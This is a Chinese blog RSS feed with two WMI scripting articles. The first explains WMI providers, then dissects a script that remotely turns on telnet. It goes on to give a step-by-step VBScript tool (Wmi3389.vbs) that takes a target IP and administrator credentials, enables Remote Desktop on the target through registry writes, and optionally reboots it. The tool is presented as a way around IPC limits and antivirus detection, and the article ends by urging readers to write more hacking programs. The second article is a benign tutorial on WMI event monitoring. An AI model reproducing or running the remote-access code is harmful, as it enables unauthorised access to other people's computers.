﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-赢在执行-文章分类-其他方面</title><link>http://www.blogjava.net/Jiangzy/category/20791.html</link><description>这个世界上只有两样东西愈分享愈多,那就是智慧与爱。</description><language>zh-cn</language><lastBuildDate>Wed, 21 Mar 2007 03:10:05 GMT</lastBuildDate><pubDate>Wed, 21 Mar 2007 03:10:05 GMT</pubDate><ttl>60</ttl><item><title>WMI基础知识  </title><link>http://www.blogjava.net/Jiangzy/articles/104955.html</link><dc:creator>飛雪(leo)</dc:creator><author>飛雪(leo)</author><pubDate>Tue, 20 Mar 2007 06:14:00 GMT</pubDate><guid>http://www.blogjava.net/Jiangzy/articles/104955.html</guid><wfw:comment>http://www.blogjava.net/Jiangzy/comments/104955.html</wfw:comment><comments>http://www.blogjava.net/Jiangzy/articles/104955.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/Jiangzy/comments/commentRss/104955.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/Jiangzy/services/trackbacks/104955.html</trackback:ping><description><![CDATA[
		<div class="tit">
				<font color="#000000">WMI基础知识</font>
		</div>
		<div class="date">
				<font color="#000000">2006-11-11 02:15</font>
		</div>
		<table style="TABLE-LAYOUT: fixed">
				<tbody>
						<tr>
								<td>
										<div class="cnt">
												<font color="#000000">一：WMI基础知识  <br />====================================================================================  <br />WMI 最初于1998年作为一个附加组件与 Windows NT 4.0 Service Pack 4 一起发行，是内置在Windows 2000、 Windows XP和Windows Server 2003 系列操作系统中核心的管理支持技术。基于由 Distributed Management Task Force (DMTF) 所监督的业界标准，WMI是一种规范和基础结构，通过它可以访问、配置、管理和监视几乎所有的Windows资源。大多用户习惯于使用众多的图形化管理工具来管理Windows资源，在WMI之前这些工具都是通过 Win32应用程序编程接口(Application ProgrammingInterfaces，API)来访问和管理Windows资源的。只要你熟悉系统编程你就知道API有多么重要。但是大多数脚本语言都不能直接调用Win32 API，WMI的出现使得系统管理员可以通过一种简便的方法即利用常见的脚本语言实现常用的系统管理任务。  <br />利用WMI需要和脚本如WSH和VBScript结合起来，可以实现的功能大家可以看微软的MSDN文档。  <br />在编写我们自己的脚本之前，我们需要对WMI的体系结构有个基本的了解。如图一：(1.gif)  <br />在WMI 体系结构中我们最需要关心的就是WMI提供程序，WMI提供程序在WMI和托管资源之间扮演着中间方的角色。提供程序代表使用者应用程序和脚本从WMI托管资源请求信息，并发送指令到WMI托管资源。下面是我们利用WMI编程经常要用到的WMI内置提供程序清单，以供编程参考。  <br />1.Active Directory提供程序  <br />链接库文件：dsprov.dll  <br />命名空间：root\directory\ldap  <br />作用：将Active Directory 对象映射到 WMI。  <br /><br />2.事件日志提供程序  <br />链接库文件：ntevt.dll  <br />命名空间：root\cimv2  <br />作用：管理 Windows 事件日志，例如，读取、备份、清除、复制、删除、监视、重命名、压缩、解压缩和更改事件日志设置。  <br /><br />3.注册表提供程序  <br />链接库文件：stdprov.dll  <br />命名空间：root\default  <br />作用：读取、写入、枚举、监视、创建、删除注册表项和值。  <br /><br />4.Win32 提供程序  <br />链接库文件：cimwin32.dll  <br />命名空间：root\cimv2  <br />作用：提供关于计算机、磁盘、外围设备、文件、文件夹、文件系统、网络组件、操作系统、打印机、进程、安全性、服务、共享、SAM 用户及组，以及更多资源的信息。  <br /><br />5.Windows 安装程序提供程序  <br />链接库文件：msiprov.dll  <br />命名空间：root\cimv2  <br />作用：提供对已安装软件信息的访问。  <br /><br />从上面可以看出在WMI中类（即内置提供程序）被分组到命名空间中，命名空间可以看成是一个组。比如，命名空间 root\cimv2 包括大部分表示通常与计算机和操作系统相关联的资源的类。在使用类的时候要说明类所在的命名空间。类由属性和方法构成。这是可视化编程中的两个重要的概念。属性描述的是对象的状态，方法是对象可以执行的操作。  <br />理论知识学起来很枯燥，下面让我们边分析高手的脚本源码边进行理论知识的巩固吧。  <br /><br />二：解析RTCS.VBS主要代码  <br />=====================================================================================  <br />有时候阅读别人的源码未尝不是一个好而且快捷的办法，下面就让我们来认真学习zzzEVAzzz编写的一个可以远程开启telnet服务的脚本RTCS.VBS。  <br />该脚本可以直接访问目标的WMI,不依赖于目标的ipc$,实现远程开启/关闭目标telnet服务，为了方便大家学习我抽出了最主要的代码，具体分析如下：  <br />set objlocator=createobject("wbemscripting.swbemlocator")  <br />//创建WbemScripting.SwbemLocator对象(脚本接口)。  <br />//可以看出WMI其实就是把Com组件WbemScripting.SWbemLocator封装起来罢了。  <br />set objswbemservices=objlocator.connectserver(ipaddress,"root/default",username,password)  <br />//通过ConnectServer函数请求连接到WMI控件服务上，root/default为命名空间。  <br />set objinstance=objswbemservices.get("stdregprov")  <br />//建立访问注册表的实例。  <br />set objmethod=objinstance.methods_("SetDWORDvalue")  <br />//建立可以更改注册表键值的方法。  <br />set objinparam=objmethod.inparameters.spawninstance_()  <br />//MethodData.InParameters用于获取或设置方法的输入参数。这里用spawninstance方法为它建立一个子实例，下面就可以将参数值赋予这个对象的属性。  <br />objinparam.hdefkey=&amp;h80000002  <br />//hdefkey表示根键，根键的十六制值如下：  <br />//HKEY_CLASSES_ROOT (&amp;H80000000)   <br />//HKEY_CURRENT_USER (&amp;H80000001)   <br />//HKEY_LOCAL_MACHINE (&amp;H80000002)   <br />//HKEY_USERS (&amp;H80000003)   <br />//HKEY_CURRENT_CONFIG (&amp;H80000005)   <br />objinparam.ssubkeyname="SOFTWARE\Microsoft\TelnetServer\1.0"  <br />//ssubkeyname表示子键。  <br />objinparam.svaluename="NTLM"  <br />//svaluename表示属性名。  <br />objinparam.uvalue=ntlm  <br />//uvalue表示键值。  <br />set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)  <br />//利用execmethod执行方法，这里才真正改写了注册表。  <br /><br />//下面是修改telnet服务的TelnetPort值，原理同上。  <br />objinparam.svaluename="TelnetPort"  <br />objinparam.uvalue=port  <br />set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)  <br /><br />修改telnet的注册表部分就完成了，将NTLM和TelnetPort进行了修改，要是对方的telnet服务没有开启呢？下面就需要根据telnet的具体情况，来启动telnet服务，继续看代码。  <br /><br />//首先查询远程主机上tlntsvr的启动方式。  <br />set objswbemservices=objlocator.connectserver(ipaddress,"root\cimv2",username,password)  <br />//win32_service类在root\cimv2命名空间中，作用没忘记吧？快看基础知识呵。  <br />set colinstances=objswbemservices.execquery("select * from win32_service where name=&amp;apos;tlntsvr&amp;apos;")  <br />//注意：查询都是通过枚举来实现的。  <br />for each objinstance in colinstances  <br />if objinstance.startmode="Disabled" then  <br />set objmethod=objinstance.methods_("changestartmode")  <br />//创建changestartmode方法来改变tlntsvr的启动方式。  <br />set objinparam=objmethod.inparameters.spawninstance_()  <br />objinparam.startmode="Manual"  <br />//将启动方式改为手动方式。  <br />set objoutparam=objinstance.execmethod_("changestartmode",objinparam)  <br />end if  <br /><br />//下面启动我们的telnet服务。这里zzzEVAzzz的思路好象有点不对，也不知道是不是他的疏忽，我个人认为当telnet服务已经启动时不应该用stopservice方法停止服务。  <br />if objinstance.started=true then  <br />intstatus=objinstance.stopservice()  <br />//stopservice是WMI中用于停止服务实例的服务的方法。  <br />else  <br />intstatus=objinstance.startservice()  <br />end if  <br />next  <br /><br />三：手把手教你编写WMI版本的ROTS.vbs来开启3389   <br />=====================================================================================  <br />zzzVEAzzz 的脚本就分析到这里吧，怎么样？很EASY吧？！我相信大家现在一定蠢蠢欲动了？:)好，一起来写一个什么程序呢？ROTS.vbs我想大家一定都用过吧？什么东东啊？我……砸!大家应该知道这个ROTS是有它的使用条件的，不仅要有管理员帐号，还要允许进行ipc连接，在这个到处都是墙的年代，ipc 早就不实用了，而且ROTS.vbs早就被查杀了，那该怎么办？当然是自己动手了。能不能实现ROTS的一样的远程开启3389的功能而不受ipc的限制呢？答案自从我写了这篇文章后成为肯定的，哈哈，吹吹了。  <br />当然我们也是要求系统至少是2000server及以上的，最近看到有个软件可以给2000pro开3389，由于比较忙，也没怎么去理它，这里我们暂且不说它，知道了原理一样好办。  <br />开启3389有个注册表导入的方法，其它一些软件的开法，我想也大多是通过修改注册表实现的。这个方法需要导入如下的注册表：  <br />Windows Registry Editor Version 5.00  <br /><br />[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]   <br />"Enabled"="0"   <br />[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]   <br />"ShutdownWithoutLogon"="0"   <br />[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]   <br />"EnableAdminTSRemote"=dword:00000001   <br />[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]   <br />"TSEnabled"=dword:00000001   <br />[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]   <br />"Start"=dword:00000002   <br />[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]   <br />"Start"=dword:00000002   <br />[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]   <br />"Hotkey"="1"   <br /><br />原理知道了就没什么难的了，先理清我们的思路，我们的主要任务是更改注册表里的键值。首先是创建WMI对象，然后是连接到远程WMI服务器，最后修改注册表键值。  <br />部分主要代码如下（完整的代码和详细的注释请看附带的软件包）  <br /><br />on error resume next  <br />//防止出现意外。  <br />set outstreem=wscript.stdout  <br />if (lcase(right(wscript.fullname,11))="wscript.exe") then  <br />set objShell=wscript.createObject("wscript.shell")  <br />objShell.Run("cmd.exe /k cscript //nologo "&amp;chr(34)&amp;wscript.scriptfullname&amp;chr(34))  <br />//cmd后带/K参数表示执行字符串指定的命令。  <br />wscript.quit  <br />end if  <br />//进行简单的检查。  <br />if wscript.arguments.count&lt;3 then  <br />usage()  <br />wscript.echo "Not enough parameters."  <br />wscript.quit  <br />end if  <br />//取出参数，分别赋予几个变量。  <br />ipaddress=wscript.arguments(0)  <br />username=wscript.arguments(1)  <br />password=wscript.arguments(2)  <br />option=wscript.arguments(3)  <br />usage()  <br /><br />下面是核心代码，也是实现远程修改注册表的功能，我这里给出另外一种实现的方式，对照前面的代码很容易理解，我就只作简单的解释了。详细情况可以参阅MSDN文档中关于StdRegProv类的说明。  <br />（http://msdn.microsoft.com/library/default.asp?url=/library/en-us/wmisdk/wmi/stdregprov.asp）  <br /><br />const HKEY_LOCAL_MACHINE = &amp;H80000002  <br />const HKEY_USERS=&amp;H80000003  <br />strComputer = ipaddress  <br /><br />//获取wmi对象  <br />Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &amp;_   <br />strComputer &amp; "\root\default:StdRegProv")  <br /><br />strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"  <br />strValueName = "Enabled"  <br />strValue=0  <br />oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue  <br /><br />strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"  <br />strValueName = "ShutdownWithoutLogon"  <br />strValue=0  <br />oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue  <br /><br />strKeyPath = "SOFTWARE\Policies\Microsoft\Windows\Installer"  <br />strValueName = "EnableAdminTSRemote"  <br />strValue=1  <br />oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue  <br /><br />strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"  <br />strValueName = "TSEnabled"  <br />strValue=1  <br />oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue  <br /><br />strKeyPath = "SYSTEM\CurrentControlSet\Services\TermDD"  <br />strValueName = "Start"  <br />strValue=2  <br />oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue  <br /><br />strKeyPath = "SYSTEM\CurrentControlSet\Services\TermService"  <br />strValueName = "Start"  <br />strValue=2  <br />oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue  <br /><br />strKeyPath = ".DEFAULT\Keyboard Layout\Toggle"  <br />strValueName = "Hotkey"  <br />strValue=1  <br />oReg.SetDWORDValue HKEY_USERS,strKeyPath,strValueName,strValue  <br /><br />//下面实现重启远程机器  <br />if option="/r" then   <br />outstreem.write "Now, rebooting target...."  <br />strwmiquery="select * from win32_operatingsystem where primary=&amp;apos;true&amp;apos;"  <br />set colinstances=objswbemservices.execquery(strwmiquery)  <br />for each objinstance in colinstances  <br />objinstance.win32shutdown(2)  <br />end if  <br />outstreem.write "Ok, rebooted the target."  <br /><br />//简单的用法说明的函数。  <br />function usage()  <br />wscript.echo string(60,"=")  <br />wscript.echo "Wmi3389 v1.0.0"  <br />wscript.echo "No ipc Open 3389, code written by pye."  <br />wscript.echo "Welcome to visite www.coon.cn or Mail to grandh4408@yahoo.com.cn"  <br />wscript.echo "Usage:"  <br />wscript.echo "cscript "&amp;wscript.scriptfullname&amp;" targetIP username password [/r]"  <br />wscript.echo "/r reboot the target this is optional"  <br />wscript.echo "It use WMI to Open 3389 of target server."  <br />wscript.echo string(60,"=")&amp;vbcrlf  <br />end function  <br />将上面的代码复制带记事本里，保存为Wmi3389.vbs。然后在CMD里执行：  <br />cscript Wmi3389.vbs ipaddress administrator password [/r]  <br />看看是不是和ROTS.vbs有一样的效果啊？大家赶快实践实践吧。  <br /><br />四：最后的唠叨  <br />=====================================================================================  <br />大家可以看出WMI的功能是很强大的，这里要感谢MicroSoft了，它是永远都不会让我们失望的。WMI对象允许通过VB，VBA，WSH，  VBScript， JScript，ASP，或是支持自动对象的其它环境，对WMI进行完全访问。在参考查询体系中加入 WMI Scripting V1.1 Library ，则Visual Basic或是VBA方案就可以访问这些对象了。支持ActiveX程序的操作平台可以通过对象类的代号，或是类的名称创建这些对象，这些对象的前缀是WbemScripting，如 WbemScripting.SwbemLocator。所以大家有兴趣的完全可以利用VB，WSH，VBScript， JScript，ASP等编写更多的利用WMI的黑客程序</font>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.blogjava.net/Jiangzy/aggbug/104955.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/Jiangzy/" target="_blank">飛雪(leo)</a> 2007-03-20 14:14 <a href="http://www.blogjava.net/Jiangzy/articles/104955.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WMI事件简介 </title><link>http://www.blogjava.net/Jiangzy/articles/104847.html</link><dc:creator>飛雪(leo)</dc:creator><author>飛雪(leo)</author><pubDate>Mon, 19 Mar 2007 16:13:00 GMT</pubDate><guid>http://www.blogjava.net/Jiangzy/articles/104847.html</guid><wfw:comment>http://www.blogjava.net/Jiangzy/comments/104847.html</wfw:comment><comments>http://www.blogjava.net/Jiangzy/articles/104847.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/Jiangzy/comments/commentRss/104847.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/Jiangzy/services/trackbacks/104847.html</trackback:ping><description><![CDATA[
		<p>我们将在这个月尝试一种略显激进的方式。一般情况下，我们这个专栏主要采取针对从化名<a href="mailto:mailto:%20scripter@microsoft.com"><font color="#002c99">脚本编程人员</font></a>那里收到的某一常见问题加以解答的方式。而这次，我们将不再沿袭以往做法。取而代之的是，我们将回答一个自己尚未（或至少几乎未曾）从脚本编程人员那里听说的问题。 
</p>
		<p>很少有人向我询问有关WMI事件的问题。这种情况看上去并不正常。WMI的确具备非常“酷”的功能特性--或许多少有些复杂--但迄今为止，我们尚未收到过有关它的任何问题。这种情况是否出于广大专业人员对WMI所具备的事件处理能力尚不熟悉的缘故，亦或出于从未有人向您介绍过有关情况，而您也没有碰巧读到过合适的书籍？ 
</p>
		<p>好吧，就算情况的确如此，而本月的专栏文章则将围绕这一主题向您进行简要介绍。尽管您应可凭借这篇专栏文章蹒跚学步，并了解有关WMI事件的些许皮毛，然而，我们仍希望您至少对WMI事件的常规工作方式具备最基本的认识，这将对您大有帮助。如果您需要在继续阅读本文之前先对WMI进行一次速成式学习，那么，我们便强烈建议您选用位于<a href="http://msdn.microsoft.com/library/en-us/dnclinic/html/scripting06112002.asp"><font color="#002c99">MSDN</font></a>的WMI入门指南系列教材；您只需阅读该系列教材的第一部分，即可掌握与事件有关的入门知识，并为继续学习事件技术奠定良好基础。 
</p>
		<p>好的，在我们开始学习WMI事件之前，或许应就所谓“事件”的含义达成共识。事件是指那些发生在计算机环境内部的对象。实际上，那些只是潜在的事件；而当您对某一事物的发生给予关注时，它才算的上真正发生，而这就是一个事件。 
</p>
		<p>简而言之，WMI事件正是您所关注对象--也就是说，您所需获得通知的对象--已经发生的通知。举例来说，您也许希望在Web服务器的处理器使用总体比率超过90％这一阈值时接到有关通知，以便设置一定数量的间歇。或许您还希望在本公司文件服务器总存储容量占用率低于10％的情况下接到相关通知。而WMI事件则是一种由WMI提供的机制，可帮助您借助某一特定脚本针对系统变化进行相应配置，执行接收操作，并做出必要响应。 
</p>
		<p>而针对WMI加以理解的另一种方法则是，WMI事件对于WMI来说，就如同警报信息对于性能监视器、陷阱对于SNMP和规则对于Microsoft操作管理器（MOM）所具有的意义。以上四组关系代表着针对系统和（或）网络变化进行监视或做出反应的具体方式。 
</p>
		<p>话已经说得足够多了。现在让我们开始编写脚本。以下脚本主要用来针对基于本地计算机（也就是您赖以运行脚本的计算机）的进程实施监控。而该脚本所寻找的事件则是notepad.exe进程的创建。如需对这个脚本加以试用，则请将其输入记事本，并保存为MonitorNotepad.vbs。接着，打开一个命令行窗体，并导航至保存有下列脚本的目录，然后，输入C:\scripts&gt;cscript MonitorNotepad.vbs。 </p>
		<pre>strComputer = "."

Set objWMIService = GetObject("winmgmts://" &amp; strComputer &amp; "/root/cimv2")

strWQL = "SELECT * " &amp; _
         "FROM __InstanceCreationEvent " &amp; _ 
         "WITHIN 2 " &amp; _
         "WHERE TargetInstance ISA 'Win32_Process' " &amp; _
         "AND   TargetInstance.Name = 'notepad.exe'"

WScript.Echo "Waiting for a new instance of Notepad to start..."
Set objEventSource = objWMIService.ExecNotificationQuery(strWQL)
Set objEventObject = objEventSource.NextEvent()
WScript.Echo "A new instance of Notepad was just started."
</pre>
		<p>在脚本运行过程中，您将会看到如下图所示的情况出现： 
</p>
		<p>
				<iframe marginwidth="1" marginheight="0" src="/china/technet/columns/images/SG010301.gif" frameborder="0" width="95%" height="231">
				</iframe>
				<br />如果您所使用的浏览器无法支持嵌入式框架，请, <a href="http://www.microsoft.com/china/technet/columns/images/SG010301.gif"><font color="#002c99">点击此处</font></a> 以便在单独页面中进行浏览。 
</p>
		<p>如果您接着运行了一个新的记事本实例，该脚本便会做出如下反应： 
</p>
		<p>
				<iframe marginwidth="1" marginheight="0" src="/china/technet/columns/images/SG010302.gif" frameborder="0" width="95%" height="227">
				</iframe>
				<br />如果您所使用的浏览器无法支持嵌入式框架，请, <a href="http://www.microsoft.com/china/technet/columns/images/SG010302.gif"><font color="#002c99">点击此处</font></a> 以便在单独页面中进行浏览。 
</p>
		<p>如图所示，您目前已具备了针对记事本进程实施监控的能力。而这种能力将有助于您避免长达数小时的无效劳动，难道不是吗？好吧，或许情况还不致于此。但事实却是，您可在任何具备WMI支持特性的计算机设备上利用与上述脚本相似的其它脚本针对任何由WMI负责管理的资源实施监控，从这个角度来看，事件脚本则可帮助您避免长达数小时的无效劳动。 
</p>
		<p>试想您拥有一台非常繁忙的企业内部网络服务器，并在此基础上进一步假设您的企业Web开发部门偶尔会将某些有害代码发布至上述企业内部网络服务器，而这些有害代码则可能莫名其妙地设法杀死相关Web服务。每当有Web服务终止，您的用户便会有所反应。而首当其冲的修复方法（尽管只能应付燃眉之急）则是重新启动刚刚遭到终止的Web服务。如果您能够以自动化方式完成上述处理过程，那将是一种相当有用的功能特性。下列脚本为您展示了实现上述功能的具体方法。该脚本将针对遭到终止的Web服务进行检测，并试图重新启动相关服务。请在您键入该脚本的过程中注意分辨它与前面那个记事本监控脚本的区别所在。 </p>
		<pre>StrComputer = “.”
Set objWMIService = GetObject(“winmgmts://” &amp; strComputer &amp; “/root/cimv2”)
strWQL = “SELECT * “ &amp; _
         “FROM __InstanceModificationEvent “ &amp; _ 
         “WITHIN 2 “ &amp; _
         “WHERE TargetInstance ISA ‘Win32_Service’ “ &amp; _
         “AND   TargetInstance.Name = ‘w3svc’” &amp; _
         “AND   TargetInstance.State = ‘Stopped’”
Set objEventSource = objWMIService.ExecNotificationQuery(strWQL)
Wscript.Echo “Monitoring the web service…”
Set objEventObject = objEventSource.NextEvent()
Wscript.Echo “The web service just stopped.”
</pre>
		<p>为亲身体验上述脚本的运行效果，请将其键入记事本界面，并保存为MonitorWeb.vbs。接下来，应确保W3SVC服务在本地计算机上处于运行状态（使用net start w3svc命令将是一种非常有效的方法）。然后，在一个命令行窗体内键入C:\scripts&gt;cscript MonitorWeb.vbs，以便开始运行该脚本。于是，您便会看到如下图所示的情况出现： 
</p>
		<p>
				<iframe marginwidth="1" marginheight="0" src="/china/technet/columns/images/SG010303.gif" frameborder="0" width="95%" height="240">
				</iframe>
				<br />如果您所使用的浏览器无法支持嵌入式框架，请, <a href="http://www.microsoft.com/china/technet/columns/images/SG010303.gif"><font color="#002c99">点击此处</font></a> 以便在单独页面中进行浏览。 
</p>
		<p>接下来，请打开另一个命令行窗体，并通过键入C:\&gt;net stop w3svc的方式终止相关Web服务。而该脚本则应注意到相关Web服务已被终止，并为您显示一条相关信息： 
</p>
		<p>
				<iframe marginwidth="1" marginheight="0" src="/china/technet/columns/images/SG010304.gif" frameborder="0" width="95%" height="242">
				</iframe>
				<br />如果您所使用的浏览器无法支持嵌入式框架，请, <a href="http://www.microsoft.com/china/technet/columns/images/SG010304.gif"><font color="#002c99">点击此处</font></a> 以便在单独页面中进行浏览。 
</p>
		<p>在这一时点，该脚本仅仅使用了下面这行代码即已侦测到Web服务已被终止： </p>
		<pre>WScript.Echo "The web service just stopped."</pre>
		<p>这行代码主要用来显示一条相关信息；当然，您还可通过添加代码的方式轻而易举地实现Web服务重启，并为确保重启功能有效而再次执行检查，同时，发送给您一封针对已发生所有事件加以简要概括的电子邮件。那些曾浏览过“脚本漫谈”专栏开篇文章的读者将可借助Run或Exec方法轻而易举地运行“net start w3svc”命令。而那些已通过查阅WMI入门系列读物方式深入钻研过WMI的朋友则可运用WMI实现相关服务的重新启动。在任何情况下，这种操作都将是非常直截了当的。下面提供了一个利用Run方法达到上述目的的示例脚本： </p>
		<pre>strComputer = "."

Set objWMIService = GetObject("winmgmts://" &amp; strComputer &amp; "/root/cimv2")

strWQL = "SELECT * " &amp; _
         "FROM __InstanceModificationEvent " &amp; _ 
         "WITHIN 2 " &amp;_
         "WHERE TargetInstance ISA 'Win32_Service' " &amp; _
         "AND   TargetInstance.Name = 'w3svc'" &amp; _
         "AND   TargetInstance.State = 'Stopped'"

Set objEventSource = objWMIService.ExecNotificationQuery(strWQL)

WScript.Echo "Monitoring the web service..."
Set objEventObject = objEventSource.NextEvent()

WScript.Echo "Web service just stopped....waiting for a few seconds."
WScript.Sleep(5000)
WScript.Echo "Attempting to restart the web service using the net.exe tool."

Set objShell = CreateObject("WScript.Shell")
objShell.Run "%COMSPEC% /c net start w3svc",,1
WScript.Echo "Restarted the web service"
</pre>
		<p>如需尝试运行上述脚本，请务必确保相关Web服务（w3svc）正处于运行状态，并在此基础上执行该脚本。一旦脚本显示如下信息：Monitoring the web service…（正在对Web服务进行监视……），就请打开第二个命令行窗体，并通过键入type C:\&gt;net stop w3svc的方法终止相关服务。而该脚本则应觉察到相关Web服务已被终止，接着，脚本将暂停几秒钟，以确保服务关闭操作执行完毕，然后，脚本将通过发出net start w3svc指令的方式重新启动相关服务。下图展示了上述脚本在执行过程中所输出的信息： 
</p>
		<p>
				<iframe marginwidth="1" marginheight="0" src="/china/technet/columns/images/SG010305.gif" frameborder="0" width="95%" height="242">
				</iframe>
				<br />如果您所使用的浏览器无法支持嵌入式框架，请, <a href="http://www.microsoft.com/china/technet/columns/images/SG010305.gif"><font color="#002c99">点击此处</font></a> 以便在单独页面中进行浏览。 
</p>
		<p>令人充满希望的是，您即将开始对某些问题隐患给予关注。如果您的确希望如此，便有可能对有关上述某一脚本的逐行解释抱有兴趣--而这恰恰是我们即将在本月中全力提供的信息服务内容。 
</p>
		<p>脚本代码行： </p>
		<pre>strComputer = "."</pre>
		<p>仅仅用来将您执行相关操作所需依托的计算机名称存储于当前脚本的下一行。引号中的圆点（“.”）表示“使用本地计算机”。如果您目前正处在某一网络环境下，而自己又是基于附近另一台计算机的本地管理员，则可尝试将strComputer变量设定为自己所使用的计算机名称（例如，strComputer = “WebServer01”）--也就是说，用当前计算机名称替换圆点。这样一来，监控脚本便可基于自身实际运行所依托的远程计算机（而非本地计算机）执行监控操作。 
</p>
		<p>脚本代码行： </p>
		<pre>Set objWMIService = GetObject("winmgmts://" &amp; strComputer &amp; "/root/cimv2")
</pre>
		<p>创建一个通往WMI服务的连接，并将针对该连接的引用保存于objWMIService变量。事实上，这行代码具有一定的超前作用，并为上述连接指定了一个专用WMI名称空间--即/root/cimv2名称空间。您可将所谓名称空间当作某些类似于文件夹的事物看待。所不同的是，文件夹仅供用来将一系列特定文件组织在一起，而WMI名称空间则可实现一整套WMI类的有机结合。/root/cimv2名称空间恰好同时存放着Win32_Service WMI类和Win32_Process WMI类，因此，可供在我们设定的全部示例中加以应用。事实上，/root/cimv2名称空间存储着关系到系统管理利弊得失的绝大多数WMI类--因此，您会经常在自己的脚本中看到它并使用它。只要您接触到这个名称空间，我们便可告诉您cimv2位所代表的含义--它是Common Information Model, version 2（通用信息模型2.0版）的缩写。如果您有兴趣了解与这一名称起源有关的更多信息资料以及WMI自身的历史渊源，就请做好悉心读书的准备，并回头访问分布式管理任务团队（DMTF）网站。 
</p>
		<p>接下来的一系列代码行主要用来构成一个WMI Query Language（WMI查询语言，WQL）查询。由于这种特殊查询方式主要被用来启动事件监控程序，因此，经常被人们当作事件通知查询加以运用。如果您对SQL较为熟悉，便会觉得这种查询方式与之大同小异。如果您对SQL也不甚了解，照样不必担心，您只需对这种查询中部分元素所引用的对象加以理解把握，以便在需要时对它们进行相应修改，从而，达到调整查询内容的目的。 
</p>
		<p>第一个重要的代码位是__InstanceModificationEvent。它将可被修改成__InstanceCreationEvent或__InstanceDeletionEvent。所幸有一点非常明确，举例来说，将这个代码位修改成__InstanceDeletionEvent的做法会导致脚本放弃对调整事件的监视，转而对删除事件进行监控。 
</p>
		<p>WITHIN 2子句主要用来以秒为单位就某项资源的轮询事件发生频率加以设定。每隔两秒对某一对象进行一次检查的做法在大多数情况下或许略显频繁，但我们在示例中设定这一频率的目的无非是希望产生一种快捷直观的效果。 
</p>
		<p>ISA ‘Win32_Service’子句主要针对用以指代您所需监控对象的WMI类进行设定。如果您对有关WMI类的知识不甚了解，就请访问MSDN网站，并阅读WMI入门文章。如果您需要查找可供加以应用的WMI类，则应下载Scriptomatic，并对其加以试用。 
</p>
		<p>.Name = ‘w3svc’和.State = ‘Stopped’子句仅仅是用来将监控对象局限于某项特定资源的属性设定代码--在这个示例中，我们为Win32_Service指定了一个等于‘w3svc’的Name（名称）属性和一个等于‘Stopped’的State（状态）属性。 </p>
		<pre>StrWQL = “SELECT * “ &amp; _
         “FROM __InstanceModificationEvent “ &amp; _ 
         “WITHIN 2 “ &amp; _
         “WHERE TargetInstance ISA ‘Win32_Service’ “ &amp; _
         “AND   TargetInstance.Name = ‘w3svc’” &amp; _
         “AND   TargetInstance.State = ‘Stopped’”
</pre>
		<p>接下来的代码行旨在通过运行通知查询的方式从实际上启动监视进程。 </p>
		<pre>Set objEventSource = objWMIService.ExecNotificationQuery(strWQL)
</pre>
		<p>编写这个代码行的目标仅仅在于将监视进程已经开始的情况告知用户。 </p>
		<pre>Wscript.Echo “Monitoring the web service…”
</pre>
		<p>下一个代码行的作用较为重要。它将使脚本处于暂停状态，直到程序接收到下一个事件。相关操作将在这个控制点中止，而脚本的后续部分直到已被我们设定为监控对象的事件发生并已向我们发出通知的时候才会继续运行。 </p>
		<pre>Set objEventObject = objEventSource.NextEvent()
</pre>
		<p>脚本一旦收到有关事件发生情况的通知，便会越过暂停或阻断代码行，继续运行随后出现的指令。而随后出现的指令则是您针对相关通知所应做出的响应。在这个示例中，我们只需让用户知道事件通知已被收到即可。 </p>
		<pre>WScript.Echo "The web service just stopped."
</pre>
		<p>这种技巧也许在某些特定情况下具有实用价值，但更多时候，您往往更需要在这个控制点执行某项特殊操作。 
</p>
		<p>到此为止，您已掌握了必要的知识技能--也就是说，我们已将WMI事件初步介绍给您。虽然我们讨厌成为cliché，但是，您在某些情况下将不得不为从事脚本编写工作的同僚多付出一些周折：“我们只不过刚刚接触到这种具备较高实用价值的管理技术的皮毛”。这也就是说，我们希望自己已在此为您提供了足够的信息资料，而您则可借助这些信息资料围绕将WMI事件处理功能应用于自身所处工作环境的具体实现方式展开思考。下个月，我们将继续深入探讨本文所涉及的内容，并希望针对广大读者围绕本文所提出的疑难问题加以解答。还是那句老话，如果您针对本文产生了某些非常“酷”并（或）具有实用价值的想法，就请来信告知我们。 
</p>
		<p>我们衷心希望您渡过一个安全而愉快的假期。 
</p>
		<p>脚本专家组 
</p>
